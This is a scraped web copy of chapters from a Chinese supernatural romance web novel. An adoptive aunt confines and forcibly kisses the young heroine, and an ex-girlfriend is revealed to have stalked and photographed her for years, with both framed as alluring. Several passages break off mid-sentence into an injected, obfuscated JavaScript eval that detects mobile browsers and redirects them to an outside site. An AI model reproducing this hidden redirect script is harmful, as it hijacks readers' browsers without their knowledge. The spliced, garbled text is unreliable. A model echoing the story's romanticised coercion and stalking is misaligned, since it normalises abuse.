在她问完那句话后,她就感受到了灵魂意识有了极强的牵扯感,甚至是还没有等她来得及抓住点什么,她的灵魂意识就直接被排斥离开了商扶砚的身体。 灵魂意识在被拉扯陷入黑暗前的时候,明镜只隐约听见了两个字。 她想要出声叫商扶砚,但是却什么声音都发不出来,拉扯感在灵魂意识上,她甚至是都没有把商扶砚的那句话听完,然后她就失去了意识。 等她在一次醒来的时候,却是已经是从自己身体里面醒过来了。 不过一睁眼,看到的就是一屋子的人。 坐在床边的明洛栖,站在床边两侧凑近看着她的风絮和霍堇她们。 明镜醒来时茫然了一下,后来是风絮偷摸的告诉她,是明洛栖把她们喊来的。 但是风絮也就只告诉明镜这一件事情,在看到她醒来后,就和霍堇她们直接离开了。 不过走之前还风絮还偷摸的看了一眼温柔看着明镜的明洛栖,风絮打了个冷颤,最后语气略显委婉婉转的提醒了明镜一句,让她多注意和小心点身边人。 明镜听见这话后有些不解,但是还不等她多想,明洛栖就带着温柔笑意走过来了,而风絮她们则是也很快离开了。 不过离开那大门时,坐在车上的风絮从车窗看到外面那个站在明镜身边笑的温柔的明洛栖时,她隐约觉得有些背后凉飕飕的。 毕竟这样的明洛栖,真的很难让人把之前那个面对她们时的那个周身气势幽冷,眼底深暗没有半分温度的明洛栖联想到一块儿去。 在风絮透过车窗看向外面的时候,在前院站在明镜身边的明洛栖,则是不经意间的抬头看了过来。 分明还有着一层车窗玻璃遮挡着,但是对方的那一眼,却愣是让风絮觉得对方好似一眼看穿了玻璃,然后直直的不带半分温度的眼神和她对视上了。 几乎是瞬息,风絮的神经就紧绷了起来,毛发都有种竖立起来的感觉。 直觉告诉她,危险……明洛栖,很危险。 —— 在前院里面站着的明镜,并不清楚风絮她们的情况。 等到车子开走后,明镜转过头看着站在自己身边的明洛栖时,也没有看到和发现刚才明洛栖那眼底幽深不见底的样子,因为对方早已习惯性在明镜面前藏匿起了自己那充满了阴暗的一面。 “又给小姨添麻烦了。” 明镜也没有问明洛栖怎么知道风絮她们的,毕竟她联系风絮这些事情也没有什么隐瞒,只要明洛栖稍微留意就能够发现。 明洛栖待明镜虽然好似一如既往的温柔,但是比起之前,又好似多了一份克制的冷淡在其中。 她安静的看着明镜:“去书房聊聊?” “?” 明镜原本还想着商扶砚的事情,突然听见明洛栖的话,她先是一愣,然后又迟疑的看着明洛栖道:“小姨想要……聊什么?” 明洛栖并未回应她这句话,而是先转身向着屋子里面走去了。 明镜转过身看着她的背影,有些不解也有些不明所以。 今天的明洛栖给她的感觉有点奇怪,也有点严肃。 明镜在原地站了一下,她想不出来明洛栖要和她聊些什么,但是后来她还是跟着走进了屋子。 …… 书房里。 明镜坐在凳子上,明洛栖端着家里阿姨做好的甜点和一杯水放在了她的面前。 “尝尝,这是阿姨今天改良新尝试做的点心,看看好不好吃。” 明镜嗯了一声,拿起了一块就咬了一小口,很酥软,微甜口感,是她喜欢的。 “好吃。” 明洛栖坐在了她的对面,闻言轻笑了一下:“那下一次让阿姨在给你做。” 明镜点头,然后把那一盘点心也往明洛栖的面前推了一下:“小姨也吃啊。” 明洛栖带笑看着她,也没有拒绝,拿了一块就放在了嘴边。 吃东西的时候,明镜也没有提明洛栖把她喊来书房是要聊什么,因为她心底总有种不太好的预感。 就在明镜吃第二块点心的时候,明洛栖的声音还是响起了。 “你就没有什么想要和我说的吗。” 明镜吃东西的动作直接就是一顿,抬起头看着明洛栖,然后就直接和明洛栖那双清温却又深邃令人看不透的双眼对视上了。 那双眼睛好似要直接穿透她的身体,看穿她的灵魂一般,机具压迫感在其中。 明镜捏着点心的手放了下来,眼神有些游离了起来,不敢在和明洛栖对视上。 “小姨想要我说什么?” 明洛栖把她的反应看在眼中,这令明洛栖的唇角有些微微的拉直了些许。 “风絮把自己知道的都告诉我了,阿镜还想要继续隐瞒吗?” 明镜看着她,唇瓣微动了一下,同时也有些懊恼,风絮这个不靠谱的,就这么轻易的把所有事情告诉明洛栖了? “对不起小姨,我不是有意想要瞒你的,只是这件事情有些太过离奇了,我不想让你太担心了。” 说到后面,明镜的声音就越来越小声了。 明洛栖的脸上没有什么明显的情绪变化,过了好一会儿,明镜听见了一声轻叹,同时一只手落在了她的头上。 “没有怪你,只是阿镜把这么严重的事情都瞒着我,若是你真的……你让我怎么办。” 明镜没有说话,她转身就抱住了明洛栖,然后闷声道:“小姨你别担心,其实除了这事儿外,我的身体也没有其他的不适。” 而突然被抱住的明洛栖则是身体微微僵硬了一下,鼻尖尽是少女身上那清雅淡香。 她的手也是落空了好一会儿,然后这才轻轻的落在了明镜的背上。 随后沉声道:“这件事情我会找到解决办法的,最近阿镜就待在家里吧。” 明镜想要说些什么,但是唇瓣张了张,最后还是什么都没有说,她就嗯了一声。 —— 但后来明镜在书房里面也没有待多久,也不知道是不是因为书房里点了安神的熏香的缘故,她人变得困顿的时候,就被明洛栖送回了房间。 在房间里,明洛栖坐在床边,她的指尖轻抚过那落在已经睡着了的明镜脸颊上的碎发上。 看向睡着了的人,明洛栖的视线落在那明艳精致的脸颊上,同时那眼底的神色变化也更为明显了,不似明镜醒着时那般隐晦不明。 她看向明镜的眼神,温柔,深情,又带着炽热的渴望在其中,那不是一个小姨该有的眼神。 也或许,只有在这种时候,明洛栖才会用着这样毫不加掩饰的眼神看着熟睡的人,放肆又直白。 明洛栖的指尖落在了明镜的脸庞上,然后指腹按压在了那饱满红润的唇瓣上。 她细细的摩擦着,房间里也是安静一片。 “什么时候你才知道,我想当的……一直都不是你的小姨。”明洛栖的声音在安静的房间里低声响起。 熟睡中的人或许是觉得唇瓣上有些痒意,红唇微动了一下,但是也刚好把明洛栖的指尖轻微半含住了。 明洛栖的手轻颤了一下,就连呼吸都下意识的放轻了起来,眼底神色也是在瞬间变的格外幽深了起来。 等触电的手猛然的收回来时,明洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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书房里的明洛栖却是笑了一下:“能够让你亲自主动打电话来就已然让人意外,但是您既然打了这个电话过来,这不是就表明,这其实还是有用的不是吗。” 电话那端的商扶砚好似安静了一下,至少她并未第一时间出声。 “之前阿镜会无缘无故的昏迷,是你的手笔吧。”明洛栖没有在乎对方的回不回应,她只是格外平静的道出了那个名字:“商扶砚。” 这个名字,或许连明家老太太都不曾知晓,但是明洛栖却就这样喊了出来了。 …… 电话那端还坐在修复台前的商扶砚,面前放着那一捆散落且需要修复的竹简。 手机在一旁,对于明洛栖就这样道出了她的名字,商扶砚的脸上却并没有什么情绪反应。 但是她那显露在外的白皙颈脖上却是有了一些血色红线,从那衣领口子里隐约可以看到,那血色红线好似从她的锁骨下面蔓延上来的。 她的肌肤本就冷白,那血色红线浮现在肌肤上,就更加显得格外的明显显眼了。 苍冷指尖捻着一块发黑弯曲的竹简,她对此好似没有什么感觉,也好似对于自身的变化也没有察觉。 但是也不,因为若无什么察觉和反应,那么现在她就不是在和明洛栖通电话了。 对于明洛栖的挑衅,商扶砚并未显得情绪有何波动。 过了好一会儿,她放下了手中的那一片竹简,同时这才平静缓慢的出声。 “明洛栖,你知道一个人的灵魂,其实也可以和另一个人做很多事情吗。” “对了,长情应该没有告诉过你,我还是她前女友这回事吧。” 商扶砚平静的诉说着,但是电话那边的明洛栖却是倏然变得无比寂静了下来。 14. 偏执的前女友 明洛栖和商扶砚两人之间的联系和那降至冰点的氛围,这些都是明镜之后才知道的事情。 从一次和商扶砚灵魂意识共体清醒之后,她的灵魂意识无缘无故去到商扶砚身体之中的次数倒是没有之前那样的平凡了。 明镜不知道这其中缘由,但是她清醒的时间也好似在缩短,灵魂意识回到自己身体后,就总是时常的觉得犯困。 其实刚开始明镜也没有多想,只当是自己没有休息好,身体也有点出问题了。 但她却没有把自己时常犯困和灵魂意识离体这两件事情往商扶砚和明洛栖身上去想。 毕竟只要是个在科学教育环境中长大的人,也不会想到这其中还有这么诡秘的一面吧。 —— 倒是从那天灵魂意识从商扶砚身体里面被拉扯出来回到自己身体里面后,明镜就总觉得明洛栖好似变得有些奇怪了。 明镜不止是一次看到对方默默安静的看着她,漆黑的眼眸之中好似有着一片迷雾,令她看不透明洛栖在想些什么。 有时候,明镜甚至是觉得她好似在努力压抑的克制着自己什么。 这样的明洛栖是让明镜觉得有些陌生的,同时也觉得这样的明洛栖是有些危险的。 危险这两个字放在一向待她温柔事事有所回应的明洛栖身上,明镜觉得有些不可思议。 但她的直觉却又在不断的对她发出警告。 明洛栖,很危险…… 一直到这些乱七八糟的事情发生两个多月后,明镜才确定了明洛栖好像真的变得有些不一样了。 但是还不等明镜应付完这边性情突然一下子变得有些阴晴不定的明洛栖时。 在商扶砚那边,明镜也发现了一些不寻常的事情。 …… 虽然减少了灵魂意识跑到商扶砚身体里的次数,但这也只是减少而已。 后面每一次进入商扶砚身体之中时,只有极少几次是和商扶砚意识共同存在的,大多时候,还是两人交替出现。 但也正是因为这样,明镜发现此后进入商扶砚时,总是能够看到商扶砚身体商那些暧昧的红痕。 其实这也没什么,毕竟大家都是成年人了,有需求很正常,明镜能够理解。 不过每一次看到那些红色痕迹的时候,明镜还是免不了觉得有些尴尬,之后她硬着头皮权当没有看到和不知道这回事儿。 但是这种情况却是在后面不止一次发生这样的事情,此后的每一次进入商扶砚的身体中时,都能够看到商扶砚冷白肌肤上密布的暧昧痕迹,看着格外的激烈…… 明镜刚开始会因为那具身体而产生的余韵感觉而尴尬不自在,到后面她开始沉默,然后又当什么事情都没有发生一般,可以做到坦然淡定的面对了。 …… 但是对于商扶砚的转变和怀疑,是从明镜开始陆续在商扶砚的家里发现和自己有关的东西还有照片这些。 刚开始明镜是无意间发现了一张夹在书里的照片,是她大学在学校里的照片,是以偷拍的角度拍下来的。 看到那照片的第一眼,明镜起先并觉得没有什么,因为当时学校论坛上也有人拍了她的照片上传。 当时她只当这是商扶砚让人去调查了她最近几年的资料里面附带的一张照片而已,当时也并未多想。 但一直到后面那些事情发生后,明镜回想起现在,才觉得自己当时就像是一条鱼儿,商扶砚拿着鱼竿,时不时的扔下一下一点鱼饵,一步步引诱着她发现她在这个屋子里面藏起来的那些秘密。 后来明镜也确实是被那些扔下来的钩子所吸引了目光,心中起了探索探究的念头。 之后明镜就总是会在无意间发现商扶砚家里一些和她有关的物品。 当然,有着和她有关的物品这些,明镜可以给对方找一个理由和借口,毕竟相似的物品都是流水线上统一生产的,大家都有一个一样的东西也不足为奇。 但是等她有一次去了商扶砚家里那个她从来没有上去过的三楼时,她却是在一个房间看到了不少她眼熟的物品。 而这些还不是让明镜觉得有些后背发凉觉得震惊的,她还看到了很多的照片,她的照片。 高中的,大学的,有在学校的,有没有在学校的,很多很多。 当时明镜心底发毛和觉得头皮发麻时,她只有一个想法,商扶砚在偷窥跟踪她,甚至是清楚了解她的所有事情。 除了这些之外,她甚至是还看到了她小时候的照片。 可以说是,在这个房间里,她从小到大的成长经历都能够在这里找到,甚至是很多连明镜自己都不知道的事情,在这里都能够看到。 除了那些照片和她眼熟的物件外,其实这房间里还有不少的古书籍和画轴,还有一些关起来的箱子。 那些东西,明显就是被商扶砚收藏放在了这里。 除了那些照片之外,明镜没有去看翻看其他的东西,甚至是都没有看完那些照片,她就带着一些惊慌和乱成一团的脑子踉跄的离开了三楼。 甚至是一回到二楼房间后,跳动的极快的心脏都还久久不能够平息下来。 明镜头脑思绪混乱,根本不敢去多想商扶砚这些行为是什么意思。 那是所有事情发生的第二个月发生的那些事情。 …… 第一个月,是明镜还在摸索探究寻找解决办法的时候。 第二个月,好似一切事情的走向都在她身边逐渐变得奇怪了起来。 变得奇怪起来的明洛栖,令人后背发凉的商扶砚。 这些都是令当时明镜有些头大和不知道该去如何去处理的事情。 但是又无一例外的是,如今的明洛栖和商扶砚,都是给她感觉有些危险的人。 在第三个月的时候,明镜为了和明洛栖保持一定安全距离,也是为了远离她,所以她搬出去了自己一个人住。 有时候她想要和明洛栖聊一下,但是一对上她那双暗沉好似藏着很多事情的双眼时,明镜又不知道该从何处聊起了。 对于明洛栖的异常,明镜选择了逃离和远离,想让她先自己冷静一下。 而对于商扶砚那边,明镜采取的是沉默的方法。 她不提自己在商扶砚家里所发现的一切,甚至是后面有两次是和商扶砚的灵魂意识共同存在的时候,明镜也都是安静沉默不和她有什么过多的交流接触。 虽然她们之间已然超越了‘亲密接触’这个层次,但这些还是没有办法打消明镜对商扶砚的疑虑。 因为她发现,她好像一直都不太了解商扶砚这个人。 哪怕是当初高中她们在一起的那两个月,商扶砚给她的就是那种给她看不透抓不住的感觉,看不透她心底最真实的想法。 即便是后来她和她说了分手后,这人当时也没有什么太大的情绪反应,只是极为安静的看着她。 她没有说好,也没有说不好,但是从那天后,明镜却很少在见到对方的身影了,后面一直到她转学离开鹤岭镇后,她也未曾在看到过对方。 不论过去的商扶砚给她的感觉如何,但现在商扶砚给明镜的感觉就是,这人太过危险了,起码对她来讲。 甚至是后来明镜都让人查到,明洛栖也调查过商扶砚,而商扶砚好似和明家有着一些说不清的关系后。 明镜不傻,甚至几乎是从那些调查到的陈年旧事还有风絮她们的一些猜想中就能够抓住一些重点线索串联起来。 因为商扶砚拍下的那些照片,也让明镜回了明家老宅翻越了一些收藏起来的古籍,然后查到了一些事情。 所有让她不解的事情,都被她隐约用一条线串联了起来。 她,明洛栖,商扶砚,还有明家之间,有着一些让她不知道的事情,都好似在逐渐的变得清晰起来。 明镜甚至是都快要查到明洛栖和商扶砚暗地里的那些暗潮汹涌了,但后来明镜发生的一件事情,却是打乱了明镜的所有计划。 甚至是如同打破了那暗潮汹涌的表象上平静的那一面,后面发生的事情,就开始一路失控,全部都让她失去了掌控。 ———— 而打破那表面勉强维持着的平静一面事情,就是明镜刚从风絮她们哪里走出来。 原是要回自己那个小公寓的,却没有想到她刚走出大门,就看到明洛栖在外面等着她了。 躲了明洛栖快要大半个月了,如今看到她站在车边明显在等她的样子,明镜站在大门口就停下了脚步,转过头看向了跟着走出来送她的风絮和霍堇几人。 明镜眼神询问她们,你们告诉她了? 风絮她们看了一眼站在路灯阴影之下,令人看不清她脸上神色,但却又给人晦暗幽深的明洛栖。 风絮她们莫名的打了一个冷颤,觉得背后有点发凉。 主要是这样的明洛栖让她们想到之前这人带着浅笑,但是眼底却没有丝毫笑意说着让她们害怕的话时的样子。 夭寿! 这明家以清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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风絮也是心底隐约升起了一些不太好的预感来。 “总觉得今晚要发生什么事情。”风絮也接了一句。 两人说完后,大门前莫名的安静了一下。 风絮和霍堇四人瞬间相互对视了一眼,然后霍堇干巴巴带着一些犹豫道:“不、不会是咋们金主吧?” 风絮也是眼皮子猛的跳了一下,抬手就是从旁边扯了三片树叶扔在了地上。 三片树叶落地,大门前四人倒是动作格外整齐的低头看向了地上。 霍堇:“未知卦?这什么卦?真是奇了怪了,只要是和咱们这金主有挂钩的事情,总是没有定数出现未知,这上辈子是个什么人才会有这样的命数啊。” 其他两人也是都皱着眉附和着,可不是,她们就没有见过命数这么奇怪的人。 风絮站直身体:“你们回吧,我现在回观里一趟,看看能不能查到一些,顺便问问我师父,她应该能够知道一些什么。” 霍堇:“那我也去打电话问问其他长辈。” 四人分工,带着操心的心就各自分开了。 —— 而那边被明洛栖带走的明镜,却并不是回了明家老宅,也没有回她现在住的公寓,车子停在了那个她和明洛栖一起住了十多年的公寓大门外。 一路上,车子里面都是格外的安静,车子停稳后,明镜去开车门,但是车门却打不开。 明镜的动作一顿,转过头看着坐驾驶座位上的明洛栖。 车内灯光昏暗,明镜借着那微弱的亮光看着安静注视着她的明洛栖。 这样的明洛栖,给明镜一种格外有着压迫感和危险的感觉。 而更加令明镜有些心悸的是她眼底涌现又毫无遮拦的眼神。 不论是情绪还是眼神都太过…… 明镜不是傻子,她现在也是一个成年人,即便没有刻骨铭心的经历过,但是不代表她不清楚。 她从那眼底看到的是……压抑的占有欲l望。 这个眼神明镜觉得很熟悉,曾经,也有一个人用这样的眼神看着她——是商扶砚。 那天下午,她和商扶砚说分手时候,对方很平静,但是却又不那么平静。 那时的她,没有看懂对方那个眼神是什么意思。 但现在那个眼神闪现在她脑海中,和面前明洛栖的眼神逐渐重合在了一起。 明镜的指尖控制不住的轻颤了一下,呼吸都在此刻下意识的放轻了。 车内的气氛也变得莫名不对劲了起来。 15. 偏执的前女友 后来,明镜被明洛栖禁锢压在了门背后,昏暗走廊灯下,明洛栖的神色明灭不定,但是明镜却是看的分明,明洛栖那失控带上了些许猩红的双眼,偏执又带着些许疯狂,明显是一副被受到了刺激的模样。 明镜被对方的举动有些砸晕了脑子,被抵在门后,鼻尖尽是萦绕着独属于明洛栖一关的淡雅清香,之前是温和的,但是今夜却是带上了一些冷冽危险,攻击力十足。 而且两人之间的氛围也莫名的…… 明镜有些不敢多想她们如今的动作,脑子晕乎乎的下意识的逃避。 但还不等她弄清楚明洛栖这是怎么了时,明洛栖后面说的话却又把明镜的脑子砸的更加的晕乎了。 听到明洛栖那带着压抑一字一句说的话,明镜人都懵了一下,甚至是因为这个消息而忽略了她和明洛栖之间如今的动作到底有多暧昧。 一只手被明洛栖禁锢在了头顶,比她高上一些的明洛栖贴身站在她的面前,微微低着头看着她,很有压迫力。 明镜一只手抵在明洛栖的肩上,微微的仰头看着对方,一强势一弱势,此刻是高见立下。 …… 明镜带着些许的懵看着明洛栖。 因为明洛栖告诉她,她根本不是她的小姨,而是收养的,她和她没有一点血缘关系。 “小姨是在……开玩笑吗。”明镜有些艰难带着些许不安的说着。 安静又灯光昏暗明灭不定的玄关走廊上,响起明镜那带着不相信和试探的声音。 明洛栖很安静,可以说是她从始至终都很安静,但是眼底所流露出来的神色却又表明着她不似表面看着那样的安静。 对于明镜的话,她没有出声,而是抬起了自己的另一只手。 指尖轻轻的把明镜脸颊上的发丝抚在了耳后,指尖轻滑过耳朵,落在脸颊上。 她的指尖温度有些温凉,所带起来的酥麻痒意让明镜的身体有些微僵,看着她,呼吸放轻,不敢有何动作。 一直等到那温凉的指尖落在了她的下颌上,指腹按在了她的下唇上时,明镜喉咙动了一下,然后偏了一下头。 “小姨……”她的声音带上了一些轻颤。 明镜紧抿着唇瓣,不敢在和明洛栖对视。 哪怕明镜的脑子在如何的浆糊,她也知道,明洛栖这一系列的动作,就算她是傻子也知道这是什么意思吧。 但正是因为知道,所以明镜的声音没控制住带上了一些轻颤在其中。 明洛栖落在她下颌的手也并未落空,只不过按在明镜唇瓣上的指腹因为明镜的偏头,而滑落按在了她的唇角上。 但是下一瞬,明洛栖却又好似格外情绪极端稳定的捏着她的下颌让她从新看向了自己。 “阿镜是我亲手养大的玫瑰,我一直在等阿镜长大,现在阿镜长大了,就要抛弃不要我了吗。” “我不想在当你的小姨了,阿镜。” 明洛栖的嗓音很低很沉,那其中带着对商扶砚的嫉妒还有偏执的爱意在里面。 她的视线也时格外贪婪的在明镜的脸庞上逡巡着。 一想到今日那一份送到了她面前来的那调查到的资料,明洛栖心底的阴暗想法就在疯狂肆意的疯长。 凭什么,每一次那个人一出现,就那么轻而易举的可以把她精心呵护长大的玫瑰摘走。 明明她陪伴她长大,为什么最后她却永远只能够止步成为她的亲人。 但她想要的,一直都不是明镜的亲情。 本以为陪在明镜的身边,所有的一切都可以慢慢来,她们可以慢慢的转变身份,她想要告诉她,她对她的感觉,不是亲情,是带有欲l望的爱。 但她之前所有的计划都因为商扶砚的出现而打乱了。 只要一想到商扶砚这些年来,一直都在暗中默默的关注着明镜的生活,还有明镜高中和商扶砚在一起过的事情,明洛栖承认,自己没办法在一直保持理智的样子了。 阴暗的欲望在心底无限的滋生,然后一步一步的让她失去冷静和理智。 她只有一个念头想法——明镜,她不会让步放手,她要困住她,哪怕是被她厌弃憎恶。 不是都说,恨永远都比爱要来的长久吗。 她要得到明镜。 哪怕是恨她。 —— 被禁锢在门后的明镜听见明洛栖的话是真的人慌了,心跳也快的让她心慌。 那双明亮的眸子都无意识的瞪大了些许看着格外强势而且散发着危险气息的明洛栖。 她挣扎了一下手腕,想要逃离这里的心达到了巅峰。 但是明洛栖的禁锢却很紧,她的挣扎根本撼动不了对方分毫。 “小姨……你、你疯了!” “今天晚上我就当没有听见你的这些话。” 明镜微微涨红着脸,压下心底的心慌,表面镇定微微咬着贝齿说着。 但是明洛栖听见她的这话,却是轻声的哈了一声,捏住明镜下颌的手用了一点力,这让明镜的眉心略微轻蹙了起来。 “商扶砚可以,为什么我不可以。” “次次都是她,什么时候阿镜才会知道,我对你的感情根本就不是亲情。” 明洛栖的声音有些放大失控,甚至是在明镜瞳孔微微放大时,她直接就咬上了明镜的唇瓣。 明镜轻唔一声,大脑都有些宕机。 这个突如其来的亲吻,直接就让明镜的脑子都空白了起来。 后来一直等到这个和之前的意义根本不一样的吻结束之后,明镜都还没有回过神来,但是她的脸颊却更加的涨红无比,红唇也比之前的颜色更为明显了,红润湿润,带着诱惑。 之前的明洛栖,其实也很少亲吻明镜,她克制着自己心底的另一种感情,就算是放纵,也只是克制的在明镜额头上落下一个蜻蜓点水的吻。 但是现在,撕去了伪装,露出了自己最真实的一面,她不在克制自己了。 而这个亲吻,是带着欲l望的。 同时也是把明镜放在了和自己对等的位置,也不在是以一个小姨的身份来对待。 有时候一个身份关系的转换,或许就是那么一之瞬间。 明洛栖看着明显还没有回神的明镜,她的指腹重新按在了那红润的唇瓣上。 “所以现在,阿镜还把我当小姨吗。” 她的声音低沉暗哑,有欲l色。 …… 明镜发懵的看着面前好似和之前变得完全不一样的人。 被指腹轻按住的唇瓣微动了一下。 她想要叫小姨,但是这两个字到了现在却怎么都发不出声音来。 喉咙干哑,好似一瞬间失去了所有的声音一般。 第一次遇到这样的事情,明镜根本不知道该以什么样的反应来处理解决这件事情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15339086|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今夜的明洛栖,攻击力十足,根本令人难以招架。 而明洛栖也根本不在意她会不会开口说话,她只是眼底无限深暗又带着一些宠溺诱哄的看着她轻柔说着。 “以后阿镜要记得离她远点,要不然,我不保证自己会对阿镜做些什么过分的事情的。” “阿镜还不知道吧,商扶砚一贯最会哄骗人了,你灵魂离体的事情就是她的手笔,她想要把你的灵魂禁锢在她身体里,她骗了阿镜。” 明洛栖看到明镜那意外震惊的样子,她脸上的笑变得真实了一些起来。 她的指尖轻轻的给明镜理着发丝。 “这样心理不健康的人,阿镜远离才是最好的,我已经找到可以不然她随意带走你灵魂意识的办法,以后阿镜只要乖乖的带着我的身边好不好。” 明洛栖的语气逐渐的恢复了之前那令明镜所熟悉的温柔模样。 但越是如此,明镜却越是觉得有些背后发凉。 她不觉得明洛栖是温柔的,只觉得很病态,很危险。 明镜抵在明洛栖胸口前的手腕都有些发软,指尖也轻颤了两下。 她唇瓣微张,想要说些什么,但是却又觉得好像说什么都有些无法表达她心底的那种无力感。 后面等到明镜终于找回了一点自己的声音和理智时,她想告诉明洛栖,给她时间,让她冷静消化一下今晚发生的这一系列事情。 今晚的信息量真的太大了,她没有任何的准备,她真的急需一个安静空旷的地方来消化这些事情。 但是还不等明镜发出声音说什么的时候,她眼前却是骤然的一黑,整个人都突然的脱力,然后直接扑倒进了明洛栖的怀中。 她的意识陷入昏迷好似被扯出身体前,只能够隐约听见明洛栖那逐渐在耳边模糊的声音。 明洛栖把突然毫无征兆昏迷过去的人接住,脸色阴沉的格外的难看。 她咬着后牙槽带着阴翳的喊出了三个字:“商扶砚!” 空旷玄关走廊上,满是明洛栖气急败坏的声音。 同时,商扶砚那冷静冷淡的声音在以另一种超越科学的方式在这里响了起来。 “不论是之前还是这一次,明洛栖,你注定争不过我。” “给你三天时间,带她的身体来鹤岭镇。” 她不是在商量,而是在通知。 明洛栖抱着明镜没有出声,看着怀中好似睡着了的人,她略微低着头,神色隐匿在阴影之下,令人难以看清楚她此刻到底在想些什么。 ——— 明洛栖和商扶砚之间那隔空的博弈,明镜是不太清楚的。 但是那天晚上,她唯一知道和清楚的事情,就是她知道,不论是明洛栖还是商扶砚,这两个人骨子里都点满了疯批病态属性。 因为她刚面对完明洛栖那一副危险病态的样子,转头她的灵魂意识就被拉近了商扶砚的身体里。 甚至还不等她搞清楚自身状况的时候,一睁眼,看到的就是商扶砚站在一面镜子前的画面。 从那镜子中,她完全可以看到,商扶砚身上没有穿丝毫的衣物…… 但当时见到这一幕的明镜还不知道,这一幕已经奠定了后面一切事情发生的基础。 因为之后发生的一切,才是真的让明镜觉得整个人都麻了。 后来,她甚至都想不通,事情是怎么发展到这么崩坏的地步的?